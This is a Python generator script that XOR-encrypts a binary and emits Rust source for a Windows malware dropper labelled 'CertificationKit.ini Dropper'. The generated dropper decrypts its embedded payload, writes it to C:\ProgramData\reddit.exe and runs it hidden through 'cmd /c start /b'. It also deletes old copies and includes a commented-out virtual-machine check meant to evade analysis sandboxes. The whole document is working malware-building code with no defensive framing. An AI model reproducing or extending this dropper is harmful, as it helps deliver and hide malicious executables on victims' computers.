import binascii XOR_KEY = 0x15 with open('reddit.hex', 'r') as f: hex_data = f.read().strip() binary_data = binascii.unhexlify(hex_data) encrypted = bytearray() for byte in binary_data: encrypted.append(byte ^ XOR_KEY) encrypted_hex = binascii.hexlify(encrypted).decode() start = """// dropper/src/main.rs // CertificationKit.ini Dropper use std::fs::File; use std::io::Write; use std::process::Command; use std::path::Path; const XOR_KEY: u8 = 0x15; const TARGET_PATH: &str = r"C:\\ProgramData\\reddit.exe"; """ end ="""fn decrypt_xor(data: &[u8], key: u8) -> Vec { data.iter().map(|&b| b ^ key).collect() } fn write_file(path: &str, data: &[u8]) -> Result<(), String> { println!("[*] Writing payload to: {}", path); if let Some(parent) = Path::new(path).parent() { if !parent.exists() { println!("[*] Creating directory: {:?}", parent); std::fs::create_dir_all(parent) .map_err(|e| format!("Failed to create directory: {}", e))?; } } let mut file = File::create(path) .map_err(|e| format!("Failed to create file: {}", e))?; file.write_all(data) .map_err(|e| format!("Failed to write data: {}", e))?; println!("[+] File written successfully ({} bytes)", data.len()); Ok(()) } fn execute_payload(path: &str) -> Result<(), String> { println!("[*] Executing payload: {}", path); if !Path::new(path).exists() { return Err(format!("File not found: {}", path)); } let output = Command::new("cmd") .args(&["/c", "start", "/b", path]) .spawn() .map_err(|e| format!("Failed to execute: {}", e))?; println!("[+] Payload executed with PID: {}", output.id()); Ok(()) } fn cleanup_old_payload(path: &str) { println!("[*] Checking for old payload..."); if Path::new(path).exists() { match std::fs::remove_file(path) { Ok(_) => println!("[+] Removed old payload"), Err(e) => println!("[!] Failed to remove old payload: {}", e), } } } fn basic_checks() -> bool { /* println!("[*] Running basic environment checks..."); let vm_files = [ r"C:\\Windows\\System32\\drivers\\VBoxGuest.sys", r"C:\\Windows\\System32\\drivers\\vmmouse.sys", ]; for &file in &vm_files { if Path::new(file).exists() { println!("[!] VM detected: {}", file); return true; } } */ false } fn main() { println!("==================================="); println!("CertificationKit.ini Dropper v1.0"); println!("===================================\n"); if basic_checks() { println!("[!] Analysis environment detected! Exiting..."); return; } println!("[*] Dropper started..."); cleanup_old_payload(TARGET_PATH); println!("[*] Decrypting payload (XOR key: 0x{:X})...", XOR_KEY); let decrypted = decrypt_xor(ENCRYPTED_PAYLOAD, XOR_KEY); println!("[+] Decrypted {} bytes", decrypted.len()); match write_file(TARGET_PATH, &decrypted) { Ok(_) => println!("[+] Payload written successfully"), Err(e) => { eprintln!("[!] Failed to write payload: {}", e); return; } } match execute_payload(TARGET_PATH) { Ok(_) => println!("[+] Payload executed"), Err(e) => eprintln!("[!] Failed to execute: {}", e), } println!("[*] Dropper finished."); }""" formatted = '' for i in range(0, len(encrypted_hex), 32): line = encrypted_hex[i:i+32] formatted += ' ' + ', '.join(f'0x{line[j:j+2]}' for j in range(0, len(line), 2)) if i + 32 < len(encrypted_hex): formatted += ',\n' else: formatted += ',\n' print(start) print(f'// Encrypted payload size: {len(binary_data)} bytes') print(f'const ENCRYPTED_PAYLOAD: &[u8] = &[') print(formatted) print('];') print(end)